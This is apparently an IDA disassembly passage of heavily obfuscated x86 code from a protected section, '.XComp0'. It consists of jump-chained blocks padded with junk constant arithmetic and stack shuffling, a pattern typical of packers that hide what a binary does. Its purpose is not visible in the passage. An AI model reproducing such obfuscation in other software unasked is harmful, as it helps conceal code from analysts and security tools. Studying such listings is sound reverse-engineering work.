		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		push	5FE8h
		mov	[esp], ecx
		mov	ecx, 49C57608h
		sub	ecx, 5AB5101Fh
		sub	ecx, 4721623Fh
		add	ecx, 75F20494h
		push	esi
		push	ebp
		jmp	loc_57BD6C
; ---------------------------------------------------------------------------


loc_57D333:				; CODE XREF: .XComp0:00577969j
		pop	dword ptr [esp]
		pop	esp
		push	3F41h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		push	359351D7h
		pop	edi
		not	edi
		xchg	esi, edi
		not	esi
		push	edi
		push	esi
		jmp	loc_5764E8
; ---------------------------------------------------------------------------


loc_57D35B:				; CODE XREF: .XComp0:00581CBAj
		sub	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_579B84
; ---------------------------------------------------------------------------


loc_57D367:				; CODE XREF: .XComp0:0057FC35j
		add	ebx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		jmp	loc_57FA9F
; ---------------------------------------------------------------------------


loc_57D37E:				; CODE XREF: .XComp0:0057C2F0j
		add	[esp+4], ebx
		pop	ebx
		pop	ecx
		push	ebp
		mov	ebp, 3C7A7684h
		inc	ebp
		xor	ebp, 792D2046h
		xor	ebp, 455756C7h
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	bx, 249Dh
		or	bx, 1FE3h
		jmp	loc_5803A4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5783A9
; ---------------------------------------------------------------------------


loc_57D3BA:				; CODE XREF: .XComp0:00574FCCj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_57E53E
; ---------------------------------------------------------------------------


loc_57D3C3:				; CODE XREF: .XComp0:00580BBEj
		mov	[esp], ebx
		push	ebx
		jmp	loc_57945D
; ---------------------------------------------------------------------------


loc_57D3CC:				; CODE XREF: .XComp0:005815EEj
		pop	esi
		jmp	loc_57A321
; ---------------------------------------------------------------------------


loc_57D3D2:				; CODE XREF: .XComp0:00576314j
		add	ecx, 0FFFFFFFFh
		push	54A2h
		mov	[esp], esi
		mov	esi, 4D7F206Ah
		xor	ecx, esi
		pop	esi
		add	ecx, 45822DE0h
		push	2336h
		mov	[esp], edx
		jmp	loc_576B21
; ---------------------------------------------------------------------------


loc_57D3F8:				; CODE XREF: .XComp0:0057CA6Cj
		push	eax
		jmp	loc_577A24
; ---------------------------------------------------------------------------


loc_57D3FE:				; CODE XREF: .XComp0:0057E10Ej
		shl	edx, 2
		dec	edx
		or	edx, 392E1A0Fh
		sub	edx, 0FB7F9ABBh
		sub	ecx, 193A76DCh
		jmp	loc_57ED2C
; ---------------------------------------------------------------------------


loc_57D419:				; CODE XREF: .XComp0:0057F362j
		mov	ebx, 2AF2E6Bh
		jmp	loc_57674A
; ---------------------------------------------------------------------------


loc_57D423:				; CODE XREF: .XComp0:005795E1j
		mov	edi, [esp]
		add	esp, 4
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4


loc_57D434:				; CODE XREF: .XComp0:0057740Fj
					; .XComp0:0058102Ej
		push	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		jmp	loc_5800AD
; ---------------------------------------------------------------------------


loc_57D463:				; CODE XREF: .XComp0:0057FDC1j
		or	edx, 195E1C11h
		jmp	loc_57DC32
; ---------------------------------------------------------------------------


loc_57D46E:				; CODE XREF: .XComp0:0057A687j
		mov	[esp], edi
		inc	dword ptr [esp]
		pop	edi
		push	esi
		jmp	loc_57B9E3
; ---------------------------------------------------------------------------


loc_57D47B:				; CODE XREF: .XComp0:005805CEj
		or	edi, 3228476Ch
		sub	edi, 5F3B58D3h
		push	ecx
		jmp	loc_58298D
; ---------------------------------------------------------------------------


loc_57D48D:				; CODE XREF: .XComp0:0057AB02j
		push	ecx
		mov	cl, 0F2h
		jmp	loc_5825C1
; ---------------------------------------------------------------------------


loc_57D495:				; CODE XREF: .XComp0:0057950Cj
		push	4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edi, 0F00488Ch
		sub	edi, 9223A5Fh
		add	edi, ebx
		add	edi, 9223A5Fh
		jmp	loc_5796ED
; ---------------------------------------------------------------------------


loc_57D4BD:				; CODE XREF: .XComp0:00577C5Cj
		mov	bl, 2Ah
		jmp	loc_581D0B
; ---------------------------------------------------------------------------


loc_57D4C4:				; CODE XREF: .XComp0:005741B9j
		pop	edx
		push	544Dh
		mov	[esp], esi
		mov	esi, 46CD4E54h
		jmp	loc_579FFC
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_573F81
; ---------------------------------------------------------------------------


loc_57D4DF:				; CODE XREF: .XComp0:0057DCB1j
		push	edx
		jmp	loc_574ACE
; ---------------------------------------------------------------------------


loc_57D4E5:				; CODE XREF: .XComp0:0057A67Cj
		mov	ebp, 4234F12h
		sub	ebp, 1
		and	ebp, 215F1F84h
		sub	ebp, 539A32A8h
		push	4944h
		mov	[esp], ebx
		mov	ebx, 49557B3Fh
		xor	ebx, 1FAD686Ah
		shl	ebx, 2
		jmp	loc_575D21
; ---------------------------------------------------------------------------


loc_57D517:				; CODE XREF: .XComp0:00574C44j
		mov	ebp, 18740D9h
		and	ebp, 2E63069Dh
		add	ebp, 383D3436h
		neg	ebp
		jmp	loc_57F479
; ---------------------------------------------------------------------------


loc_57D52F:				; CODE XREF: .XComp0:00583493j
		mov	edx, 54E0463Eh
		xor	edx, 6FAB0141h
		shr	edx, 1
		jmp	loc_5828E2
; ---------------------------------------------------------------------------


loc_57D541:				; CODE XREF: .XComp0:00581065j
		add	[esp], eax
		pushf
		jmp	loc_57EDC4
; ---------------------------------------------------------------------------


loc_57D54A:				; CODE XREF: .XComp0:0057974Fj
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 0C284A1D7h
		add	ecx, eax
		pop	eax
		push	ebx
		jmp	loc_57EF3A
; ---------------------------------------------------------------------------


loc_57D560:				; CODE XREF: .XComp0:00573BD7j
		sub	ebp, 66102FC9h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_57F648
; ---------------------------------------------------------------------------


loc_57D56F:				; CODE XREF: .XComp0:00582066j
		mov	bl, 51h
		jmp	loc_57CA94
; ---------------------------------------------------------------------------


loc_57D576:				; CODE XREF: .XComp0:0057EB87j
		shl	esi, 8
		or	esi, 58806F8Ah
		add	esi, 0ACA90264h
		dec	esi
		and	esi, 0BE10D29h
		jmp	loc_57421C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57D591:				; CODE XREF: sub_5A47B5-299CAj
		add	cl, 0B0h
		jmp	loc_57FAF4
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57D599:				; CODE XREF: .XComp0:00578179j
		pop	ebx
		push	ebx
		sub	dword ptr [esp], 6D7964D2h
		mov	edi, [esp]
		add	esp, 4
		add	edi, 6D7964D2h
		mov	ebx, [esp]
		push	ecx
		jmp	loc_57AD3B
; ---------------------------------------------------------------------------


loc_57D5B7:				; CODE XREF: .XComp0:0057A246j
		add	ebp, 4
		jmp	loc_5754FD
; ---------------------------------------------------------------------------


loc_57D5C2:				; CODE XREF: .XComp0:00579E97j
		add	bh, 81h
		pop	edx
		push	ecx
		push	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		jmp	loc_577880
; ---------------------------------------------------------------------------


loc_57D5D2:				; CODE XREF: .XComp0:00573815j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57D5D7:				; CODE XREF: .XComp0:0058303Aj
		mov	edi, 77B46021h
		sub	ebx, 0B2960E7h
		sub	ebx, edi
		jmp	loc_57EF75
; ---------------------------------------------------------------------------


loc_57D5E9:				; CODE XREF: .XComp0:00582753j
		mov	ebx, edi
		pop	edi
		mov	edi, 303D19CAh
		jmp	loc_57FD49
; ---------------------------------------------------------------------------


loc_57D5F6:				; CODE XREF: .XComp0:00578F2Fj
		sub	ebp, 2
		jmp	loc_57A71B
; ---------------------------------------------------------------------------


loc_57D5FE:				; CODE XREF: .XComp0:0057D8F5j
		pop	edi
		add	ebp, edi
		jmp	loc_57E1AB
; ---------------------------------------------------------------------------


loc_57D606:				; CODE XREF: .XComp0:00579E3Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_573B0C
; ---------------------------------------------------------------------------


loc_57D614:				; CODE XREF: .XComp0:0057354Ej
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_577AB6
; ---------------------------------------------------------------------------


loc_57D621:				; CODE XREF: .XComp0:0057F340j
		xor	eax, edi
		pop	edi
		jmp	loc_57AC9D
; ---------------------------------------------------------------------------


loc_57D629:				; CODE XREF: .XComp0:00574B25j
		sub	eax, 4A361E4Ah
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_57A58D
; ---------------------------------------------------------------------------


loc_57D63A:				; CODE XREF: .XComp0:0057D243j
		pop	edi
		jmp	loc_57EAED
; ---------------------------------------------------------------------------


loc_57D640:				; CODE XREF: .XComp0:0057A636j
		add	esp, 4
		add	ebp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	eax
		mov	eax, 1999200Bh
		mov	ebp, 4EEE7DBBh
		xor	ebp, eax
		pop	eax
		shl	ebp, 1
		jmp	loc_57A196
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57D675:				; CODE XREF: sub_5A47B5-21277j
		mov	dx, [esp+0]
		jmp	loc_579014
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57D67E:				; CODE XREF: .XComp0:005750D3j
		push	edi
		not	dword ptr [esp]
		pop	edi
		or	edi, 3E021664h
		add	edi, 7DCE5878h
		shr	edi, 8
		jmp	loc_57CAEA
; ---------------------------------------------------------------------------


loc_57D697:				; CODE XREF: .XComp0:005771D8j
		mov	ecx, 3C17155Ch
		sub	ecx, 3C171558h
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	15E1h
		mov	[esp], ecx
		push	esi
		mov	esi, 59CE72FBh
		mov	ecx, 0A926FB9h
		xor	ecx, esi
		jmp	loc_57FE31
; ---------------------------------------------------------------------------


loc_57D6D2:				; CODE XREF: .XComp0:0057EAE8j
		xor	ebx, 0B944188Fh
		and	esi, ebx
		pop	ebx
		add	esi, 2BA32146h
		sub	esi, eax
		mov	eax, [esp]
		jmp	loc_57FCFC
; ---------------------------------------------------------------------------


loc_57D6EB:				; CODE XREF: .XComp0:005744E1j
		pop	edx
		shl	ebx, 1
		jmp	loc_57FC0D
; ---------------------------------------------------------------------------


loc_57D6F3:				; CODE XREF: .XComp0:0057C5D0j
		add	esp, 4
		dec	esi
		shl	esi, 1
		push	eax
		jmp	loc_57D1BA
; ---------------------------------------------------------------------------


loc_57D702:				; CODE XREF: .XComp0:00579721j
		push	esi
		mov	esi, 0F8869CBh
		push	eax
		mov	eax, 73FE7648h
		jmp	loc_582874
; ---------------------------------------------------------------------------


loc_57D713:				; CODE XREF: .XComp0:00578506j
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_576B73
; ---------------------------------------------------------------------------


loc_57D723:				; CODE XREF: .XComp0:0057E858j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 57A31D54h
		jmp	loc_57C41E
; ---------------------------------------------------------------------------


loc_57D73A:				; CODE XREF: .XComp0:00582029j
		push	0A095EA6h
		pop	eax
		push	ebx
		jmp	loc_57C80C
; ---------------------------------------------------------------------------


loc_57D746:				; CODE XREF: .XComp0:00574A6Bj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_575F32
; ---------------------------------------------------------------------------


loc_57D754:				; CODE XREF: .XComp0:0057772Bj
		shr	edi, 2
		shl	edi, 3
		xor	edi, 656C78ECh
		add	esi, edi
		pop	edi
		add	esi, ebp
		push	ebx
		jmp	loc_574BCB
; ---------------------------------------------------------------------------


loc_57D76B:				; CODE XREF: .XComp0:00573632j
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5738AF
; ---------------------------------------------------------------------------


loc_57D781:				; CODE XREF: .XComp0:0057C1C9j
		push	esi
		jmp	loc_57902A
; ---------------------------------------------------------------------------


loc_57D787:				; CODE XREF: .XComp0:0057A12Dj
		sub	eax, 1D445823h
		neg	eax
		shr	eax, 6
		and	eax, 141637C6h
		sub	eax, 0CA46B3E6h
		mov	edx, eax
		jmp	loc_57B1B3
; ---------------------------------------------------------------------------


loc_57D7A2:				; CODE XREF: .XComp0:005740DEj
		neg	ebp
		not	ebp
		jmp	loc_57FE02
; ---------------------------------------------------------------------------


loc_57D7AB:				; CODE XREF: .XComp0:0057DDF7j
		mov	edx, 0CD6688Bh
		push	ebp
		push	ebx
		push	67C316C9h
		jmp	loc_5786DB
; ---------------------------------------------------------------------------


loc_57D7BC:				; CODE XREF: .XComp0:0057F7D0j
		sub	dword ptr [esp], 6C167B35h
		pop	edx
		add	edx, 6C167B35h
		jmp	loc_582CFE
; ---------------------------------------------------------------------------


loc_57D7CF:				; CODE XREF: .XComp0:0057FCE6j
		push	esp
		pop	ecx
		add	ecx, 4
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		jmp	loc_5831DE
; ---------------------------------------------------------------------------


loc_57D7E5:				; CODE XREF: .XComp0:0057CE07j
		xor	edi, 322217AEh
		add	edi, 841AD2D2h
		jmp	loc_57538E
; ---------------------------------------------------------------------------


loc_57D7F6:				; CODE XREF: .XComp0:0057C35Ej
		push	ebp
		mov	ebp, 4
		mov	eax, ebp
		jmp	loc_57FE6A
; ---------------------------------------------------------------------------


loc_57D803:				; CODE XREF: .XComp0:0057DFC7j
		pop	edx
		sub	eax, 1
		jmp	loc_581F47
; ---------------------------------------------------------------------------


loc_57D80E:				; CODE XREF: .XComp0:0057AFF8j
		push	dword ptr [esp]
		jmp	loc_57B8EF
; ---------------------------------------------------------------------------


loc_57D816:				; CODE XREF: .XComp0:00576278j
		shl	ecx, 8
		shl	ecx, 5
		jmp	loc_576181
; ---------------------------------------------------------------------------


loc_57D821:				; CODE XREF: .XComp0:00578878j
		mov	esp, [esp]
		jmp	loc_581AB9
; ---------------------------------------------------------------------------


loc_57D829:				; CODE XREF: .XComp0:005746F9j
		push	edi
		mov	edi, 254034E8h
		add	edi, 2E325066h
		dec	edi
		inc	edi
		and	edi, 3B8D0ED0h
		push	ebx
		mov	ebx, 0ECFFFBC4h
		jmp	loc_57BC02
; ---------------------------------------------------------------------------


loc_57D848:				; CODE XREF: .XComp0:0057D190j
		mov	dh, bh
		mov	cl, dh
		pop	edx
		inc	cl
		mov	bh, cl
		pop	cx
		and	bh, 0B6h
		not	bh
		sub	bh, 0B5h
		jmp	loc_57921C
; ---------------------------------------------------------------------------


loc_57D860:				; CODE XREF: .XComp0:0057BC73j
		shr	edi, 6
		jmp	loc_57DCC2
; ---------------------------------------------------------------------------


loc_57D868:				; CODE XREF: .XComp0:0057CDAEj
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5E174871h
		or	edi, 11071A5Fh
		jmp	loc_579B46
; ---------------------------------------------------------------------------


loc_57D881:				; CODE XREF: .XComp0:0057BE3Fj
		mov	ax, [esp]
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58123A
; ---------------------------------------------------------------------------


loc_57D890:				; CODE XREF: .XComp0:00577963j
		add	ah, bh
		pop	ebx
		sub	bl, 2Ch
		sub	bl, ah
		add	bl, 2Ch
		pop	eax
		jmp	loc_5761D0
; ---------------------------------------------------------------------------


loc_57D8A1:				; CODE XREF: .XComp0:005814B0j
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_5750D8
; ---------------------------------------------------------------------------


loc_57D8B1:				; CODE XREF: .XComp0:00573FCEj
		neg	ebp
		add	ebp, 60499ED8h
		and	eax, ebp
		pop	ebp
		jmp	loc_5826DB
; ---------------------------------------------------------------------------


loc_57D8C1:				; CODE XREF: .XComp0:00579889j
		pop	edx
		pop	ebx
		jmp	loc_57BA00
; ---------------------------------------------------------------------------


loc_57D8C8:				; CODE XREF: .XComp0:00581011j
		add	esi, edx
		pop	edx
		push	eax
		mov	eax, 4FB023D6h
		shl	eax, 1
		and	eax, 116D788Bh
		inc	eax
		not	eax
		inc	eax
		add	eax, 1160408Dh
		add	esi, eax
		jmp	loc_58262E
; ---------------------------------------------------------------------------


loc_57D8E8:				; CODE XREF: .XComp0:0057A96Fj
		push	eax
		jmp	loc_5781CA
; ---------------------------------------------------------------------------


loc_57D8EE:				; CODE XREF: .XComp0:0057596Cj
		mov	edi, 774D7549h
		sub	ebp, edi
		jmp	loc_57D5FE
; ---------------------------------------------------------------------------


loc_57D8FA:				; CODE XREF: .XComp0:00575009j
		add	edi, 0CD11C4Eh
		add	edi, eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_578420
; ---------------------------------------------------------------------------


loc_57D90D:				; CODE XREF: .XComp0:00576E08j
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, 4F2823F5h
		jmp	loc_574E13
; ---------------------------------------------------------------------------


loc_57D91C:				; CODE XREF: .XComp0:0057FD8Fj
		shr	eax, 18h
		xor	eax, ecx
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, 2FC95F2Fh
		add	edi, ebp
		sub	edi, 2FC95F2Fh
		pop	ebp
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 0B191D42h
		shl	ecx, 2
		xor	ecx, 0B4026ABh
		sub	ecx, 2724539Fh
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_575773
; ---------------------------------------------------------------------------


loc_57D98C:				; CODE XREF: .XComp0:00573CD5j
		mov	ecx, edx
		pop	edx
		or	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_57BC98
; ---------------------------------------------------------------------------


loc_57D999:				; CODE XREF: .XComp0:00574E4Cj
		pop	edi
		push	ebp
		jmp	loc_57EA94
; ---------------------------------------------------------------------------


loc_57D9A0:				; CODE XREF: .XComp0:0057EEC1j
		add	dh, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 2
		jmp	loc_57DD14
; ---------------------------------------------------------------------------


loc_57D9B1:				; CODE XREF: .XComp0:005767C5j
		add	dword ptr [esp+4], 4C564DC6h
		jmp	loc_5812E4
; ---------------------------------------------------------------------------


loc_57D9BE:				; CODE XREF: .XComp0:00577E1Fj
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_577FAF
; ---------------------------------------------------------------------------


loc_57D9CB:				; CODE XREF: .XComp0:00580C9Ej
		xor	edi, 6B7077C9h
		push	ebx
		mov	ebx, edi
		push	ebx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5828EF
; ---------------------------------------------------------------------------


loc_57D9DE:				; CODE XREF: .XComp0:00575808j
		sub	[esp+8], esi
		sub	dword ptr [esp+8], 3F6F6554h
		jmp	loc_57A188
; ---------------------------------------------------------------------------


loc_57D9EF:				; CODE XREF: .XComp0:0057540Dj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57D9F4:				; CODE XREF: .XComp0:00576C23j
		mov	eax, 3A074851h
		not	eax
		add	eax, 5D855AA6h
		push	edx
		mov	edx, 30B1052Dh
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 6
		xor	eax, 4F3C59h
		jmp	loc_576CFF
; ---------------------------------------------------------------------------


loc_57DA1E:				; CODE XREF: .XComp0:00579325j
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_57AD20
; ---------------------------------------------------------------------------


loc_57DA32:				; CODE XREF: .XComp0:0057B25Aj
		or	ecx, 6E122BC9h
		push	eax
		mov	eax, 6FDBAFC7h
		sub	ecx, eax
		pop	eax
		jmp	loc_577730
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57DA4D:				; CODE XREF: .XComp0:0057F914j
		pop	ebx
		push	ecx
		mov	ch, 79h
		xor	dh, ch
		pop	ecx
		xor	dh, bh
		jmp	loc_5808E1
; ---------------------------------------------------------------------------


loc_57DA5B:				; CODE XREF: .XComp0:00580DFAj
		and	esi, edi
		pop	edi
		and	esi, 6AA76030h
		sub	esi, 1FE4CC7Ah
		add	eax, 7B91359Dh
		sub	eax, esi
		sub	eax, 7B91359Dh
		pop	esi
		push	5D6h
		mov	[esp], esi
		mov	esi, 3144757Bh
		shr	esi, 1
		push	1D45h
		mov	[esp], ecx
		mov	ecx, 0CE511D4h
		push	ebp
		jmp	loc_57BCC7
; ---------------------------------------------------------------------------


loc_57DA99:				; CODE XREF: .XComp0:0057BD83j
		push	esi
		mov	esi, 1552757h
		xor	edx, esi
		pop	esi
		and	edx, 7A4F4DA4h
		add	edx, 34744C47h
		dec	edx
		push	ebp
		mov	ebp, 57C11899h
		jmp	loc_57C55E
; ---------------------------------------------------------------------------


loc_57DABA:				; CODE XREF: .XComp0:0058314Bj
		xor	dx, [esp]
		xor	[esp], dx
		push	small 682Bh
		mov	[esp], dx
		push	di
		pop	dx
		mov	di, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_578462
; ---------------------------------------------------------------------------


loc_57DAED:				; CODE XREF: .XComp0:0057F0D8j
		push	edi
		mov	edi, esp
		jmp	loc_583653
; ---------------------------------------------------------------------------


loc_57DAF5:				; CODE XREF: .XComp0:005808EDj
		push	907h
		jmp	loc_5793D8
; ---------------------------------------------------------------------------


loc_57DAFF:				; CODE XREF: .XComp0:0057C298j
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		push	0CE4h
		mov	[esp], ecx
		mov	ecx, 22BF0BE8h
		not	ecx
		jmp	loc_57584D
; ---------------------------------------------------------------------------


loc_57DB1E:				; CODE XREF: .XComp0:0057A3F4j
		add	eax, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_57AB8D
; ---------------------------------------------------------------------------


loc_57DB2B:				; CODE XREF: .XComp0:005810B2j
		mov	[esp], ebx
		push	35455D51h
		pop	ebx
		mov	dword ptr [edx+38h], 35455D51h
		push	eax
		mov	eax, 38h
		add	eax, edx
		xor	[eax], ebx
		pop	eax
		pop	ebx


loc_57DB47:				; CODE XREF: .XComp0:0057CFC7j
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 2CBB214Dh
		jmp	loc_5746FE
; ---------------------------------------------------------------------------


loc_57DB5B:				; CODE XREF: .XComp0:0058237Dj
		push	ebx
		mov	bh, 83h
		push	ebx
		mov	bl, 0DFh
		sub	bl, 0C0h
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 54h
		add	bl, dl
		pop	dx
		add	bl, 4Dh
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0C7h
		sub	ah, 0FFh
		sub	ah, 0B3h
		or	bl, ah
		mov	eax, [esp]
		add	esp, 4
		inc	bl
		sub	bl, 60h
		jmp	loc_577C44
; ---------------------------------------------------------------------------


loc_57DB97:				; CODE XREF: .XComp0:0058334Dj
		xor	ebx, [esp]
		pop	esp
		popa
		jmp	loc_57F7DD
; ---------------------------------------------------------------------------


loc_57DBA1:				; CODE XREF: .XComp0:00576CAAj
		sub	edi, 639372BAh
		pop	esi
		sub	esp, 4
		jmp	loc_57C2BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57DBB3:				; CODE XREF: sub_5A47B5-2E070j
		mov	ch, al
		pop	eax
		sub	bl, ch
		pop	ecx
		add	al, bl
		jmp	loc_57554E
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57DBC0:				; CODE XREF: .XComp0:00576684j
		push	edx
		mov	edx, 2F4D39E6h
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		sub	edx, 1
		sub	esp, 4
		jmp	loc_577300
; ---------------------------------------------------------------------------


loc_57DBDA:				; CODE XREF: .XComp0:005749BEj
		xor	[esp], al
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57DBE2:				; CODE XREF: .XComp0:00576C8Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6D4A51AFh
		push	ebp
		mov	ebp, 6D4A51AEh
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_579BB1
; ---------------------------------------------------------------------------


loc_57DC18:				; CODE XREF: .XComp0:0057639Aj
		mov	esi, [esp]
		push	ebp
		jmp	loc_57AFA7
; ---------------------------------------------------------------------------


loc_57DC21:				; CODE XREF: .XComp0:0057767Cj
		add	al, 27h
		dec	al
		push	bx
		mov	bh, al
		not	bh
		mov	al, bh
		jmp	loc_57FADF
; ---------------------------------------------------------------------------


loc_57DC32:				; CODE XREF: .XComp0:0057D469j
		dec	edx
		jmp	loc_58100B
; ---------------------------------------------------------------------------


loc_57DC38:				; CODE XREF: .XComp0:00575B53j
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57DC58:				; CODE XREF: .XComp0:0057F2ADj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 61D90CB9h
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 61D90CB9h
		pop	ebx
		jmp	loc_5791FA
; ---------------------------------------------------------------------------


loc_57DC89:				; CODE XREF: .XComp0:00577DC8j
		mov	ebp, ecx
		pop	ecx
		jmp	loc_582CDC
; ---------------------------------------------------------------------------


loc_57DC91:				; CODE XREF: .XComp0:0057759Bj
		neg	ebp
		push	edi
		mov	edi, 7EE4222Fh
		sub	edi, 6B784A91h
		and	edi, 7AF84D11h
		sub	edi, 55649EB7h
		xor	ebp, edi
		pop	edi
		add	esi, ebp
		pop	ebp
		jmp	loc_57D4DF
; ---------------------------------------------------------------------------


loc_57DCB6:				; CODE XREF: .XComp0:0057DD0Fj
		add	edx, 344C2C01h
		pop	edi
		jmp	loc_57DD2E
; ---------------------------------------------------------------------------


loc_57DCC2:				; CODE XREF: .XComp0:0057D863j
		sub	edi, 61FD7DBCh
		shl	edi, 5
		sub	edi, 0DDF9E981h
		sub	ebx, edi
		jmp	loc_57F7EA
; ---------------------------------------------------------------------------


loc_57DCD8:				; CODE XREF: .XComp0:005809B5j
		xor	eax, 31E93D2Ch
		or	eax, 5C7E7A78h
		xor	eax, 3F9F0962h
		mov	edi, eax
		jmp	loc_57EAC4
; ---------------------------------------------------------------------------


loc_57DCEE:				; CODE XREF: .XComp0:00577408j
		inc	ebx
		shl	ebx, 2
		jmp	loc_5755BD
; ---------------------------------------------------------------------------


loc_57DCF7:				; CODE XREF: .XComp0:0057C69Bj
		add	edi, 1
		jmp	loc_575B3A
; ---------------------------------------------------------------------------


loc_57DCFF:				; CODE XREF: .XComp0:00579EC4j
		mov	ebx, 7F9C3D7Bh
		xor	edi, ebx
		pop	ebx
		sub	edx, 344C2C01h
		add	edx, edi
		jmp	loc_57DCB6
; ---------------------------------------------------------------------------


loc_57DD14:				; CODE XREF: .XComp0:0057D9ACj
		mov	[esp], cx
		mov	ch, 75h
		push	dx
		mov	dl, 5Ah
		add	al, 0D9h
		add	al, dl
		sub	al, 0D9h
		mov	dx, [esp]
		push	edx
		jmp	loc_57E6ED
; ---------------------------------------------------------------------------


loc_57DD2E:				; CODE XREF: .XComp0:0057DCBDj
		sub	esp, 4
		jmp	loc_57CC16
; ---------------------------------------------------------------------------


loc_57DD36:				; CODE XREF: .XComp0:0057809Aj
		and	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 604A48EDh
		add	ebp, 52F086Dh
		or	edx, ebp
		pop	ebp
		xchg	edi, edx
		not	edi
		jmp	loc_57848E
; ---------------------------------------------------------------------------


loc_57DD51:				; CODE XREF: .XComp0:0057E243j
		mov	esi, esp
		push	ecx
		mov	ecx, 31231CE1h
		push	edx
		mov	edx, 0
		sub	edx, ecx
		mov	ecx, edx
		pop	edx
		jmp	loc_580D77
; ---------------------------------------------------------------------------


loc_57DD69:				; CODE XREF: .XComp0:0058352Aj
		push	ecx
		push	ebx
		mov	ebx, 60C22BCAh
		mov	ecx, ebx
		pop	ebx
		jmp	loc_57A4D5
